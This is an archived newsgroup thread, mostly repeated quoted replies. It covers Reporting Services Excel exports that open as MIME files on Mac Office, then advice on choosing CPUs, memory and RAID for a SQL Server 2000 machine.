> > correctly. It only has MIME type values in the file. What are the
> > options
> > to ensure MAC Excel opens the same as PC Excel with SP1? We currently
> > have
> > them export to CSV and then open that in excel with the text to columns
> > re-formatting. Any help you could provide would be greatly appreciated.
>|||So what happens if you open the workbook directly in Excel on the mac (don't
open it in PC Excel)?
--
Brian Welcker
Group Program Manager
SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> Yes...It works fine if I save down to Excel 95-2000 workbook and then send
> it. The mac opens fine, but that is not a viable solution to our problem
> as
> the mac clients will need to run reports on demand. Do you by chance know
> if there is a solution in the works to ensure MAC Excel versions export
> without incidence as the PC version?
> Thanks...
> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
>> Have you tried to export the file using a PC, save it to disk and then
> open
>> it on the Mac? I wouldn't be surprised if there were some glitches.
>> --
>> Brian Welcker
>> Group Program Manager
>> Microsoft SQL Server Reporting Services
>> This posting is provided "AS IS" with no warranties, and confers no
> rights.
>> "Lance" <Lance@.discussions.microsoft.com> wrote in message
>> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
>> > We have built a new front end to the report server to run reports.
>> > When
>> > making calls to the RS Web Service, is there anything special that
>> > needs
>> > to
>> > be done for Excel (xls) rendering? We have a few clients utlizing
>> > Apple
>> > MAC
>> > OS X with Office v.x. We thought that SP1 would take care of their
>> > ability
>> > to open the xls files as with prior versions of PC xls before Office
>> > XP.
>> > After further testing, the MAC version still does not open the excel
> file
>> > correctly. It only has MIME type values in the file. What are the
>> > options
>> > to ensure MAC Excel opens the same as PC Excel with SP1? We currently
>> > have
>> > them export to CSV and then open that in excel with the text to columns
>> > re-formatting. Any help you could provide would be greatly
>> > appreciated.
>>
>|||The document is garbage...It looks exactly what happens when someone who has
a lower version of excel than XP.
"Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
> So what happens if you open the workbook directly in Excel on the mac
(don't
> open it in PC Excel)?
> --
> Brian Welcker
> Group Program Manager
> SQL Server Reporting Services
> This posting is provided "AS IS" with no warranties, and confers no
rights.
> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> > Yes...It works fine if I save down to Excel 95-2000 workbook and then
send
> > it. The mac opens fine, but that is not a viable solution to our
problem
> > as
> > the mac clients will need to run reports on demand. Do you by chance
know
> > if there is a solution in the works to ensure MAC Excel versions export
> > without incidence as the PC version?
> >
> > Thanks...
> >
> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> >> Have you tried to export the file using a PC, save it to disk and then
> > open
> >> it on the Mac? I wouldn't be surprised if there were some glitches.
> >>
> >> --
> >> Brian Welcker
> >> Group Program Manager
> >> Microsoft SQL Server Reporting Services
> >>
> >> This posting is provided "AS IS" with no warranties, and confers no
> > rights.
> >>
> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> >> > We have built a new front end to the report server to run reports.
> >> > When
> >> > making calls to the RS Web Service, is there anything special that
> >> > needs
> >> > to
> >> > be done for Excel (xls) rendering? We have a few clients utlizing
> >> > Apple
> >> > MAC
> >> > OS X with Office v.x. We thought that SP1 would take care of their
> >> > ability
> >> > to open the xls files as with prior versions of PC xls before Office
> >> > XP.
> >> > After further testing, the MAC version still does not open the excel
> > file
> >> > correctly. It only has MIME type values in the file. What are the
> >> > options
> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
currently
> >> > have
> >> > them export to CSV and then open that in excel with the text to
columns
> >> > re-formatting. Any help you could provide would be greatly
> >> > appreciated.
> >>
> >>
> >
> >
>|||In SP1, we support Excel 97 and 2000. You should not get a MIME document
after applying the service pack.
--
Brian Welcker
Group Program Manager
Microsoft SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
> The document is garbage...It looks exactly what happens when someone who
> has
> a lower version of excel than XP.
>
> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
>> So what happens if you open the workbook directly in Excel on the mac
> (don't
>> open it in PC Excel)?
>> --
>> Brian Welcker
>> Group Program Manager
>> SQL Server Reporting Services
>> This posting is provided "AS IS" with no warranties, and confers no
> rights.
>> "Lance" <ldacy@.fellowshiptech.com> wrote in message
>> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
>> > Yes...It works fine if I save down to Excel 95-2000 workbook and then
> send
>> > it. The mac opens fine, but that is not a viable solution to our
> problem
>> > as
>> > the mac clients will need to run reports on demand. Do you by chance
> know
>> > if there is a solution in the works to ensure MAC Excel versions export
>> > without incidence as the PC version?
>> >
>> > Thanks...
>> >
>> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
>> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
>> >> Have you tried to export the file using a PC, save it to disk and then
>> > open
>> >> it on the Mac? I wouldn't be surprised if there were some glitches.
>> >>
>> >> --
>> >> Brian Welcker
>> >> Group Program Manager
>> >> Microsoft SQL Server Reporting Services
>> >>
>> >> This posting is provided "AS IS" with no warranties, and confers no
>> > rights.
>> >>
>> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
>> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
>> >> > We have built a new front end to the report server to run reports.
>> >> > When
>> >> > making calls to the RS Web Service, is there anything special that
>> >> > needs
>> >> > to
>> >> > be done for Excel (xls) rendering? We have a few clients utlizing
>> >> > Apple
>> >> > MAC
>> >> > OS X with Office v.x. We thought that SP1 would take care of their
>> >> > ability
>> >> > to open the xls files as with prior versions of PC xls before Office
>> >> > XP.
>> >> > After further testing, the MAC version still does not open the excel
>> > file
>> >> > correctly. It only has MIME type values in the file. What are the
>> >> > options
>> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
> currently
>> >> > have
>> >> > them export to CSV and then open that in excel with the text to
> columns
>> >> > re-formatting. Any help you could provide would be greatly
>> >> > appreciated.
>> >>
>> >>
>> >
>> >
>>
>|||I understand that, but the MAC version still gets this MIME document...The
PC version is fine.
"Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
news:%239umLe7gEHA.3548@.TK2MSFTNGP09.phx.gbl...
> In SP1, we support Excel 97 and 2000. You should not get a MIME document
> after applying the service pack.
> --
> Brian Welcker
> Group Program Manager
> Microsoft SQL Server Reporting Services
> This posting is provided "AS IS" with no warranties, and confers no
rights.
> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
> > The document is garbage...It looks exactly what happens when someone who
> > has
> > a lower version of excel than XP.
> >
> >
> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> > news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
> >> So what happens if you open the workbook directly in Excel on the mac
> > (don't
> >> open it in PC Excel)?
> >>
> >> --
> >> Brian Welcker
> >> Group Program Manager
> >> SQL Server Reporting Services
> >>
> >> This posting is provided "AS IS" with no warranties, and confers no
> > rights.
> >>
> >> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> >> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> >> > Yes...It works fine if I save down to Excel 95-2000 workbook and then
> > send
> >> > it. The mac opens fine, but that is not a viable solution to our
> > problem
> >> > as
> >> > the mac clients will need to run reports on demand. Do you by chance
> > know
> >> > if there is a solution in the works to ensure MAC Excel versions
export
> >> > without incidence as the PC version?
> >> >
> >> > Thanks...
> >> >
> >> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
message
> >> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> >> >> Have you tried to export the file using a PC, save it to disk and
then
> >> > open
> >> >> it on the Mac? I wouldn't be surprised if there were some glitches.
> >> >>
> >> >> --
> >> >> Brian Welcker
> >> >> Group Program Manager
> >> >> Microsoft SQL Server Reporting Services
> >> >>
> >> >> This posting is provided "AS IS" with no warranties, and confers no
> >> > rights.
> >> >>
> >> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> >> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> >> >> > We have built a new front end to the report server to run reports.
> >> >> > When
> >> >> > making calls to the RS Web Service, is there anything special that
> >> >> > needs
> >> >> > to
> >> >> > be done for Excel (xls) rendering? We have a few clients utlizing
> >> >> > Apple
> >> >> > MAC
> >> >> > OS X with Office v.x. We thought that SP1 would take care of
their
> >> >> > ability
> >> >> > to open the xls files as with prior versions of PC xls before
Office
> >> >> > XP.
> >> >> > After further testing, the MAC version still does not open the
excel
> >> > file
> >> >> > correctly. It only has MIME type values in the file. What are
the
> >> >> > options
> >> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
> > currently
> >> >> > have
> >> >> > them export to CSV and then open that in excel with the text to
> > columns
> >> >> > re-formatting. Any help you could provide would be greatly
> >> >> > appreciated.
> >> >>
> >> >>
> >> >
> >> >
> >>
> >>
> >
> >
>|||Any suggestions or comments?
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:%23K488YfhEHA.3928@.TK2MSFTNGP11.phx.gbl...
> I understand that, but the MAC version still gets this MIME document...The
> PC version is fine.
>
> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
> news:%239umLe7gEHA.3548@.TK2MSFTNGP09.phx.gbl...
> > In SP1, we support Excel 97 and 2000. You should not get a MIME document
> > after applying the service pack.
> >
> > --
> > Brian Welcker
> > Group Program Manager
> > Microsoft SQL Server Reporting Services
> >
> > This posting is provided "AS IS" with no warranties, and confers no
> rights.
> >
> > "Lance" <ldacy@.fellowshiptech.com> wrote in message
> > news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
> > > The document is garbage...It looks exactly what happens when someone
who
> > > has
> > > a lower version of excel than XP.
> > >
> > >
> > > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
message
> > > news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
> > >> So what happens if you open the workbook directly in Excel on the mac
> > > (don't
> > >> open it in PC Excel)?
> > >>
> > >> --
> > >> Brian Welcker
> > >> Group Program Manager
> > >> SQL Server Reporting Services
> > >>
> > >> This posting is provided "AS IS" with no warranties, and confers no
> > > rights.
> > >>
> > >> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> > >> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
> > >> > Yes...It works fine if I save down to Excel 95-2000 workbook and
then
> > > send
> > >> > it. The mac opens fine, but that is not a viable solution to our
> > > problem
> > >> > as
> > >> > the mac clients will need to run reports on demand. Do you by
chance
> > > know
> > >> > if there is a solution in the works to ensure MAC Excel versions
> export
> > >> > without incidence as the PC version?
> > >> >
> > >> > Thanks...
> > >> >
> > >> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
> message
> > >> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
> > >> >> Have you tried to export the file using a PC, save it to disk and
> then
> > >> > open
> > >> >> it on the Mac? I wouldn't be surprised if there were some
glitches.
> > >> >>
> > >> >> --
> > >> >> Brian Welcker
> > >> >> Group Program Manager
> > >> >> Microsoft SQL Server Reporting Services
> > >> >>
> > >> >> This posting is provided "AS IS" with no warranties, and confers
no
> > >> > rights.
> > >> >>
> > >> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
> > >> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
> > >> >> > We have built a new front end to the report server to run
reports.
> > >> >> > When
> > >> >> > making calls to the RS Web Service, is there anything special
that
> > >> >> > needs
> > >> >> > to
> > >> >> > be done for Excel (xls) rendering? We have a few clients
utlizing
> > >> >> > Apple
> > >> >> > MAC
> > >> >> > OS X with Office v.x. We thought that SP1 would take care of
> their
> > >> >> > ability
> > >> >> > to open the xls files as with prior versions of PC xls before
> Office
> > >> >> > XP.
> > >> >> > After further testing, the MAC version still does not open the
> excel
> > >> > file
> > >> >> > correctly. It only has MIME type values in the file. What are
> the
> > >> >> > options
> > >> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
> > > currently
> > >> >> > have
> > >> >> > them export to CSV and then open that in excel with the text to
> > > columns
> > >> >> > re-formatting. Any help you could provide would be greatly
> > >> >> > appreciated.
> > >> >>
> > >> >>
> > >> >
> > >> >
> > >>
> > >>
> > >
> > >
> >
> >
>|||We aren't generating MIME any more. That code is gone. Something else must
be wrong with the file type. We will take a look but it is not a highly
demanded scenario.
--
Brian Welcker
Group Program Manager
SQL Server Reporting Services
This posting is provided "AS IS" with no warranties, and confers no rights.
"Lance" <ldacy@.fellowshiptech.com> wrote in message
news:%23FHK6dSiEHA.2952@.TK2MSFTNGP09.phx.gbl...
> Any suggestions or comments?
>
> "Lance" <ldacy@.fellowshiptech.com> wrote in message
> news:%23K488YfhEHA.3928@.TK2MSFTNGP11.phx.gbl...
>> I understand that, but the MAC version still gets this MIME
>> document...The
>> PC version is fine.
>>
>> "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in message
>> news:%239umLe7gEHA.3548@.TK2MSFTNGP09.phx.gbl...
>> > In SP1, we support Excel 97 and 2000. You should not get a MIME
>> > document
>> > after applying the service pack.
>> >
>> > --
>> > Brian Welcker
>> > Group Program Manager
>> > Microsoft SQL Server Reporting Services
>> >
>> > This posting is provided "AS IS" with no warranties, and confers no
>> rights.
>> >
>> > "Lance" <ldacy@.fellowshiptech.com> wrote in message
>> > news:Og9BSRGgEHA.3964@.TK2MSFTNGP12.phx.gbl...
>> > > The document is garbage...It looks exactly what happens when someone
> who
>> > > has
>> > > a lower version of excel than XP.
>> > >
>> > >
>> > > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
> message
>> > > news:enJe9r8fEHA.536@.TK2MSFTNGP11.phx.gbl...
>> > >> So what happens if you open the workbook directly in Excel on the
>> > >> mac
>> > > (don't
>> > >> open it in PC Excel)?
>> > >>
>> > >> --
>> > >> Brian Welcker
>> > >> Group Program Manager
>> > >> SQL Server Reporting Services
>> > >>
>> > >> This posting is provided "AS IS" with no warranties, and confers no
>> > > rights.
>> > >>
>> > >> "Lance" <ldacy@.fellowshiptech.com> wrote in message
>> > >> news:ueFapmtfEHA.2848@.TK2MSFTNGP10.phx.gbl...
>> > >> > Yes...It works fine if I save down to Excel 95-2000 workbook and
> then
>> > > send
>> > >> > it. The mac opens fine, but that is not a viable solution to our
>> > > problem
>> > >> > as
>> > >> > the mac clients will need to run reports on demand. Do you by
> chance
>> > > know
>> > >> > if there is a solution in the works to ensure MAC Excel versions
>> export
>> > >> > without incidence as the PC version?
>> > >> >
>> > >> > Thanks...
>> > >> >
>> > >> > "Brian Welcker [MSFT]" <bwelcker@.online.microsoft.com> wrote in
>> message
>> > >> > news:Ohc$PCnfEHA.2764@.TK2MSFTNGP11.phx.gbl...
>> > >> >> Have you tried to export the file using a PC, save it to disk and
>> then
>> > >> > open
>> > >> >> it on the Mac? I wouldn't be surprised if there were some
> glitches.
>> > >> >>
>> > >> >> --
>> > >> >> Brian Welcker
>> > >> >> Group Program Manager
>> > >> >> Microsoft SQL Server Reporting Services
>> > >> >>
>> > >> >> This posting is provided "AS IS" with no warranties, and confers
> no
>> > >> > rights.
>> > >> >>
>> > >> >> "Lance" <Lance@.discussions.microsoft.com> wrote in message
>> > >> >> news:061952A6-F39C-49F3-AA13-F568C4588772@.microsoft.com...
>> > >> >> > We have built a new front end to the report server to run
> reports.
>> > >> >> > When
>> > >> >> > making calls to the RS Web Service, is there anything special
> that
>> > >> >> > needs
>> > >> >> > to
>> > >> >> > be done for Excel (xls) rendering? We have a few clients
> utlizing
>> > >> >> > Apple
>> > >> >> > MAC
>> > >> >> > OS X with Office v.x. We thought that SP1 would take care of
>> their
>> > >> >> > ability
>> > >> >> > to open the xls files as with prior versions of PC xls before
>> Office
>> > >> >> > XP.
>> > >> >> > After further testing, the MAC version still does not open the
>> excel
>> > >> > file
>> > >> >> > correctly. It only has MIME type values in the file. What are
>> the
>> > >> >> > options
>> > >> >> > to ensure MAC Excel opens the same as PC Excel with SP1? We
>> > > currently
>> > >> >> > have
>> > >> >> > them export to CSV and then open that in excel with the text to
>> > > columns
>> > >> >> > re-formatting. Any help you could provide would be greatly
>> > >> >> > appreciated.
>> > >> >>
>> > >> >>
>> > >> >
>> > >> >
>> > >>
>> > >>
>> > >
>> > >
>> >
>> >
>>
>
Machine to run SQL 2000
Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
million rows) and as of late we have noticed a degradation in performance.
As we will be needing a new server to host our new website, we have decided
to relegate the 4400 to web hosting and buy a new SQL server box. I know
there is time to be spent running profiler / perfmon etc to track down the
source of the performance problems, but we WILL be needing a new box first,
then I can start to diagnose the perf. issues.
What I would like to know is what factors are MOST important when
considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
RAM, On-chip cache etc. I know the best advise is usually "get the best
machine you can afford" but when weighing up the options there are some
things that have to be decided on an either/or basis i.e. a one-CPU machine
with 1MB cache, or a dual-CPU machine with 512KB cache.
Many thanks for any input,
dfAll of this is my experience and personal opinion. YMMV.
I prefer more CPUs to bigger CPU cache.
More memory is preferable to faster CPUs, within reason. Unless you are
running Enterprise Edition, anything over 4GB in the box is wasted so plan
accordingly. If you are using Enterprise edition, put as much memory as you
can afford in the box.
RAID-10 is three to five times faster than RAID-5. Lots of drive spindles
is a cheap way to boost performance.
Definitely use Windows Server 2003 as the OS.
Since you are a Dell shop, you might want to check out the CX-200
entry-level SAN. It is a bit more than a SCSI Powervault, but not
prohibitively so. I would seriously look into the best PowerEdge 6650 I
could afford with a CX-200 back-end. If not, maybe a 6600 with 12 internal
SCSI drives. Obviously , we all have budget constraints but definitely
squeeze every bit you can for this.
--
Geoff N. Hiten
SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"digitalfish" <digital.fish@.ntlworld.com> wrote in message
news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
> million rows) and as of late we have noticed a degradation in performance.
> As we will be needing a new server to host our new website, we have
decided
> to relegate the 4400 to web hosting and buy a new SQL server box. I know
> there is time to be spent running profiler / perfmon etc to track down the
> source of the performance problems, but we WILL be needing a new box
first,
> then I can start to diagnose the perf. issues.
> What I would like to know is what factors are MOST important when
> considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
> RAM, On-chip cache etc. I know the best advise is usually "get the best
> machine you can afford" but when weighing up the options there are some
> things that have to be decided on an either/or basis i.e. a one-CPU
machine
> with 1MB cache, or a dual-CPU machine with 512KB cache.
> Many thanks for any input,
> df
>|||On Wed, 01 Oct 2003 11:04:44 GMT, "digitalfish"
<digital.fish@.ntlworld.com> wrote:
>Many thanks for any input,
Preference to the dual cpu -- the benefits outweigh the problems.
Lots o' RAM.
RAID disk. Used to be a big deal to mirror the log and stripe the
main store, I don't quite know now what's optimal. IMO, big RAM makes
a lot of that less important. Depends how big the database is and the
kind of traffic you do on it, of course.
J.|||Geoff;
I agree with you on the general choice between more CPUs and bigger CPU
cache, and between more memory and faster CPUs.
What would be your choice between faster CPUs and more CPU cache? In total
abstract and in general, my perference has been more CPU cache. Obviously,
I'm not talking about going from 400MHz to 2.6GHz.
--
Linchi Shea
linchi_shea@.NOSPAMml.com
"Geoff N. Hiten" <SRDBA@.Careerbuilder.com> wrote in message
news:uioFyHCiDHA.4024@.TK2MSFTNGP11.phx.gbl...
> All of this is my experience and personal opinion. YMMV.
> I prefer more CPUs to bigger CPU cache.
> More memory is preferable to faster CPUs, within reason. Unless you are
> running Enterprise Edition, anything over 4GB in the box is wasted so plan
> accordingly. If you are using Enterprise edition, put as much memory as
you
> can afford in the box.
> RAID-10 is three to five times faster than RAID-5. Lots of drive spindles
> is a cheap way to boost performance.
> Definitely use Windows Server 2003 as the OS.
> Since you are a Dell shop, you might want to check out the CX-200
> entry-level SAN. It is a bit more than a SCSI Powervault, but not
> prohibitively so. I would seriously look into the best PowerEdge 6650 I
> could afford with a CX-200 back-end. If not, maybe a 6600 with 12
internal
> SCSI drives. Obviously , we all have budget constraints but definitely
> squeeze every bit you can for this.
> --
> Geoff N. Hiten
> SQL Server MVP
> Senior Database Administrator
> Careerbuilder.com
>
>
> "digitalfish" <digital.fish@.ntlworld.com> wrote in message
> news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> > Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> > 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large
(~50
> > million rows) and as of late we have noticed a degradation in
performance.
> > As we will be needing a new server to host our new website, we have
> decided
> > to relegate the 4400 to web hosting and buy a new SQL server box. I know
> > there is time to be spent running profiler / perfmon etc to track down
the
> > source of the performance problems, but we WILL be needing a new box
> first,
> > then I can start to diagnose the perf. issues.
> >
> > What I would like to know is what factors are MOST important when
> > considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad
processor,
> > RAM, On-chip cache etc. I know the best advise is usually "get the best
> > machine you can afford" but when weighing up the options there are some
> > things that have to be decided on an either/or basis i.e. a one-CPU
> machine
> > with 1MB cache, or a dual-CPU machine with 512KB cache.
> >
> > Many thanks for any input,
> > df
> >
> >
>|||Tough call. Most 4+ way systems now have 1MB cache except on the very
fastest processors which have 2MB cache, so you really don't get a tradeoff
there. It is either faster AND more cache or not. As an example, a Dell
PowerEdge 6600/6650 can currently have either 2.5GHz processors with 1MB
cache or 2.8GHz processors with 2MB cache. If you have to compromise, back
off the processor speed/cache slightly and get more RAM and a better disk
subsystem.
--
Geoff N. Hiten
Microsoft SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"Linchi Shea" <linchi_shea@.NOSPAMml.com> wrote in message
news:%23wDjVyJiDHA.2120@.TK2MSFTNGP10.phx.gbl...
> Geoff;
> I agree with you on the general choice between more CPUs and bigger CPU
> cache, and between more memory and faster CPUs.
> What would be your choice between faster CPUs and more CPU cache? In total
> abstract and in general, my perference has been more CPU cache. Obviously,
> I'm not talking about going from 400MHz to 2.6GHz.
> --
> Linchi Shea
> linchi_shea@.NOSPAMml.com
>
> "Geoff N. Hiten" <SRDBA@.Careerbuilder.com> wrote in message
> news:uioFyHCiDHA.4024@.TK2MSFTNGP11.phx.gbl...
> > All of this is my experience and personal opinion. YMMV.
> >
> > I prefer more CPUs to bigger CPU cache.
> > More memory is preferable to faster CPUs, within reason. Unless you are
> > running Enterprise Edition, anything over 4GB in the box is wasted so
plan
> > accordingly. If you are using Enterprise edition, put as much memory as
> you
> > can afford in the box.
> > RAID-10 is three to five times faster than RAID-5. Lots of drive
spindles
> > is a cheap way to boost performance.
> > Definitely use Windows Server 2003 as the OS.
> >
> > Since you are a Dell shop, you might want to check out the CX-200
> > entry-level SAN. It is a bit more than a SCSI Powervault, but not
> > prohibitively so. I would seriously look into the best PowerEdge 6650 I
> > could afford with a CX-200 back-end. If not, maybe a 6600 with 12
> internal
> > SCSI drives. Obviously , we all have budget constraints but definitely
> > squeeze every bit you can for this.
> >
> > --
> > Geoff N. Hiten
> > SQL Server MVP
> > Senior Database Administrator
> > Careerbuilder.com
> >
> >
> >
> >
> >
> > "digitalfish" <digital.fish@.ntlworld.com> wrote in message
> > news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> > > Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> > > 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large
> (~50
> > > million rows) and as of late we have noticed a degradation in
> performance.
> > > As we will be needing a new server to host our new website, we have
> > decided
> > > to relegate the 4400 to web hosting and buy a new SQL server box. I
know
> > > there is time to be spent running profiler / perfmon etc to track down
> the
> > > source of the performance problems, but we WILL be needing a new box
> > first,
> > > then I can start to diagnose the perf. issues.
> > >
> > > What I would like to know is what factors are MOST important when
> > > considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad
> processor,
> > > RAM, On-chip cache etc. I know the best advise is usually "get the
best
> > > machine you can afford" but when weighing up the options there are
some
> > > things that have to be decided on an either/or basis i.e. a one-CPU
> > machine
> > > with 1MB cache, or a dual-CPU machine with 512KB cache.
> > >
> > > Many thanks for any input,
> > > df
> > >
> > >
> >
> >
>|||Minimum 2 CPU's, 2 GB RAM.
Preferred:
4 CPU's, 4-8 GB RAM. RAID array.
CPU speed or cache does not matter nearly as much at having 2 or more and
having lots of RAM, and a RAID array. RAID 5 or 10.
In order of preference - price vs performance
2 CPU
2 GB RAM
RAID 5
4 GB RAM
4 CPU's
RAID 10
J
www.urbanvoyeur.com
"digitalfish" <digital.fish@.ntlworld.com> wrote in message
news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
> million rows) and as of late we have noticed a degradation in performance.
> As we will be needing a new server to host our new website, we have
decided
> to relegate the 4400 to web hosting and buy a new SQL server box. I know
> there is time to be spent running profiler / perfmon etc to track down the
> source of the performance problems, but we WILL be needing a new box
first,
> then I can start to diagnose the perf. issues.
> What I would like to know is what factors are MOST important when
> considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
> RAM, On-chip cache etc. I know the best advise is usually "get the best
> machine you can afford" but when weighing up the options there are some
> things that have to be decided on an either/or basis i.e. a one-CPU
machine
> with 1MB cache, or a dual-CPU machine with 512KB cache.
> Many thanks for any input,
> df
>
800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
million rows) and as of late we have noticed a degradation in performance.
As we will be needing a new server to host our new website, we have decided
to relegate the 4400 to web hosting and buy a new SQL server box. I know
there is time to be spent running profiler / perfmon etc to track down the
source of the performance problems, but we WILL be needing a new box first,
then I can start to diagnose the perf. issues.
What I would like to know is what factors are MOST important when
considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
RAM, On-chip cache etc. I know the best advise is usually "get the best
machine you can afford" but when weighing up the options there are some
things that have to be decided on an either/or basis i.e. a one-CPU machine
with 1MB cache, or a dual-CPU machine with 512KB cache.
Many thanks for any input,
dfAll of this is my experience and personal opinion. YMMV.
I prefer more CPUs to bigger CPU cache.
More memory is preferable to faster CPUs, within reason. Unless you are
running Enterprise Edition, anything over 4GB in the box is wasted so plan
accordingly. If you are using Enterprise edition, put as much memory as you
can afford in the box.
RAID-10 is three to five times faster than RAID-5. Lots of drive spindles
is a cheap way to boost performance.
Definitely use Windows Server 2003 as the OS.
Since you are a Dell shop, you might want to check out the CX-200
entry-level SAN. It is a bit more than a SCSI Powervault, but not
prohibitively so. I would seriously look into the best PowerEdge 6650 I
could afford with a CX-200 back-end. If not, maybe a 6600 with 12 internal
SCSI drives. Obviously , we all have budget constraints but definitely
squeeze every bit you can for this.
--
Geoff N. Hiten
SQL Server MVP
Senior Database Administrator
Careerbuilder.com
"digitalfish" <digital.fish@.ntlworld.com> wrote in message
news:gxyeb.2143976$Bf5.300990@.news.easynews.com...
> Our current SQL server box is a Dell PowerEdge 4400 with one PIII Xeon
> 800Mhz CPU and 768MB RAM. Some of the tables we have are quite large (~50
> million rows) and as of late we have noticed a degradation in performance.
> As we will be needing a new server to host our new website, we have
decided
> to relegate the 4400 to web hosting and buy a new SQL server box. I know
> there is time to be spent running profiler / perfmon etc to track down the
> source of the performance problems, but we WILL be needing a new box
first,
> then I can start to diagnose the perf. issues.
> What I would like to know is what factors are MOST important when
> considering a machine to run SQL server i.e. CPU Mhz, Dual/Quad processor,
> RAM, On-chip cache etc. I know the best advise is usually "get the best
> machine you can afford" but when weighing up the options there are some
> things that have to be decided on an either/or basis i.e. a one-CPU
machine
> with 1MB cache, or a dual-CPU machine with 512KB cache.
> Many thanks for any input,
> df
>|||On Wed, 01 Oct 2003 11:04:44 GMT, "digitalfish"
<digital.fish@.ntlworld.com> wrote:
>Many thanks for any input,
Preference to the dual cpu -- the benefits outweigh the problems.
Lots o' RAM.
RAID disk. Used to be a big deal to mirror the log and stripe the
main store, I don't quite know now what's optimal. IMO, big RAM makes
a lot of that less important. Depends how big the database is and the
kind of traffic you do on it, of course.
J.|||Geoff;
I agree with you on the general choice between more CPUs and bigger CPU
cache, and between more memory and faster CPUs.
What would be your choice between faster CPUs and more CPU cache? In total
abstract and in general, my perference has been more CPU cache. Obviously,
I'm not talking about going from 400MHz to 2.6GHz.
--
Linchi Shea
linchi_shea@.NOSPAMml.com
"Geoff N. Hiten" <SRDBA@.Careerbuilder.com> wrote in message
news:uioFyHCiDHA.4024@.TK2MSFTNGP11.phx.gbl...
> All of this is my experience and personal opinion. YMMV.
> I prefer more CPUs to bigger CPU cache.
> More memory is preferable to faster CPUs, within reason. Unless you are
> running Enterprise Edition, anything over 4GB in the box is wasted so plan
> accordingly. If you are using Enterprise edition, put as much memory as
you
> can afford in the box.
> RAID-10 is three to five times faster than RAID-5. Lots of drive spindles
> is a cheap way to boost performance.
